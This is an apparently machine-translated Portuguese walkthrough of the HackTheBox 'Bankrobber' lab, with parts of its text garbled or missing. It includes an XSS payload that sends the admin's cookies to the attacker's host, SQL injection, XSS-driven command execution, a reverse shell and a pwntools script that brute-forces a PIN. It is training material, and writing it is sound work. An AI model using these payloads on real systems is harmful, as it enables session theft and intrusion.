Continuo publicando soluções enviadas para processamento adicional no site da HackTheBox . Espero que isso ajude pelo menos alguém a se desenvolver no campo da segurança da informação. Neste artigo, roubaremos os cookies do administrador do site via XSS, descobriremos o código usando injeção SQL, obteremos o shell através do formulário de execução de comando usando XSS e CSRF, abriremos a porta do Windows e distorceremos o PIN do aplicativo de transferência fácil usando pwntools.A conexão ao laboratório é via VPN. É recomendável não conectar-se a partir de um computador de trabalho ou de um host em que os dados importantes para você estejam disponíveis, pois você acaba em uma rede privada com pessoas que sabem alguma coisa no campo da segurança da informação :)Informações Organizacionais, - , :
- PWN;
- (Crypto);
- c (Network);
- (Reverse Engineering);
- (Stegano);
- WEB-.
, , , .
, ,
Telegram . , ,
.
. , - , .
Recon
Esta máquina possui um endereço IP 10.10.10.154, que eu adiciono ao / etc / hosts.10.10.10.154 bankrobber.htb
Primeiro, examinamos portas abertas. Como leva muito tempo para varrer todas as portas com o nmap, primeiro farei isso com o masscan. Examinamos todas as portas TCP e UDP da interface tun0 a uma velocidade de 500 pacotes por segundo.masscan -e tun0 -p1-65535,U:1-65535 10.10.10.154 --rate=500
Agora, para obter informações mais detalhadas sobre os serviços que operam nas portas, executaremos uma varredura com a opção -A.nmap -A bankrobber.htb -p80,443,445,3306
O host possui um servidor web e SMB, e o MySQL também está disponível. O SMB e o MySQL não nos dão nada, então veja a web.
O site Bitcoin é apresentado onde podemos nos registrar.
Vamos registrar e fazer login. Recebemos um formulário para transferência de fundos.
Depois de concluir uma solicitação de teste simples, recebemos uma mensagem. Ele diz que o administrador considerará nossa solicitação de transação e tomará uma decisão.
Essa é uma dica muito grande do XSS. Vamos tentar roubar o cookie de administrador. Primeiro, implante o servidor HTTP local.
Agora, executamos a solicitação de transação, especificando o seguinte carregamento JS como uma mensagem.<script>new Image().src="http://10.10.15.106/xss?param="%2bdocument.cookie;</script>
Assim, ao tentar enviar uma foto, o script entrará em contato com esse endereço e, como parâmetro, nos enviará cookies da conta na qual o script foi executado (neste caso, o administrador).
Parece base64. Decodificamos e obtemos o login e a senha do administrador.
Entre como administrador e veja o que há de novo para nós. Ao enviar uma cotação no campo de pesquisa do usuário, obtemos um erro - há uma injeção.
Outro servidor solicita o comando dir.
Mas apenas respostas localhost.
Vamos voltar à injeção de SQL.
Determinamos o número de colunas e quais delas são exibidas.
Assim, a primeira e a segunda colunas são exibidas.DO UTILIZADOR
Depois de nos sentar um pouco, não encontramos nada de interessante. Vamos para o módulo backdoorchecker. Encontre um evento que responda a um clique no botão.
Vá para o console do navegador e digite o nome da função.
Seguimos o link para a função.
E descobrimos para onde vai a solicitação. Graças à injeção, podemos ler o arquivo (a primeira vez que adivinhei o caminho xampp padrão).
Assim, o comando será executado se a substring "dir" estiver presente na linha. Isso nos permite enviar uma cadeia de comandos. Resta lidar com um, o pedido deve vir de localhost. Recordamos o XSS e a função callSys (), que podemos chamar para enviar uma solicitação. Verifique nossa suposição.
Como o comando está completo, vamos executar o RCE usando o script Invoke-PowerShellTcp do pacotenishang .
RAIZ
Antes de tudo, conduzimos a enumeração básica do sistema. Para isso, usamos winPEAS .
De toda a saída, nos apegamos à porta aberta no localhost 910.
Vamos ver o que há nele. Primeiro você precisa jogar a porta. Entre todos os programas, a solução mais conveniente é o cinzel . Execute em host local e hosts remotos.
Agora conecte e veja o que está lá.
É necessário um código PIN de quatro dígitos. Nós vamos resolver isso.
def clear():
sys.stdout.write("\033[F")
sys.stdout.write("\033[K")
from pwn import *
for numb in range(10000):
PIN = str(numb).rjust(4, '0')
r = remote('127.0.0.1', 910)
print("Find PIN: " + PIN, end="\r")
clear()
r.sendafter('[$] ', PIN+"\n")
ans = r.recv()
if b"Access denied" in ans:
r.close()
clear()
else:
print("[+] PIN found: " + PIN)
print(str(ans, "utf-8"))
break
r.interactive()
Encontramos o código PIN e somos solicitados a inserir o valor da transação. Fazemos isso e nada acontece.
O valor é transferido para um programa em execução como administrador. Não encontrando mais nada, transferimos como soma uma sequência de 100 caracteres.
E vemos como a linha de lançamento do programa mudou para parte da nossa linha. Vamos verificar a partir de qual índice isso aconteceu.
Assim, se passarmos uma linha com o nome de outro programa, ele será executado. Vamos checar.

E a suposição é verdadeira. Para começar, baixe o netcat.
E agora vamos fazer a conexão traseira.
Obtendo privilégios do sistema.Você pode se juntar a nós no Telegram. Vamos montar uma comunidade na qual haverá pessoas versadas em muitas áreas da TI, para que possamos sempre ajudar-nos mutuamente em qualquer problema de segurança da informação e da TI.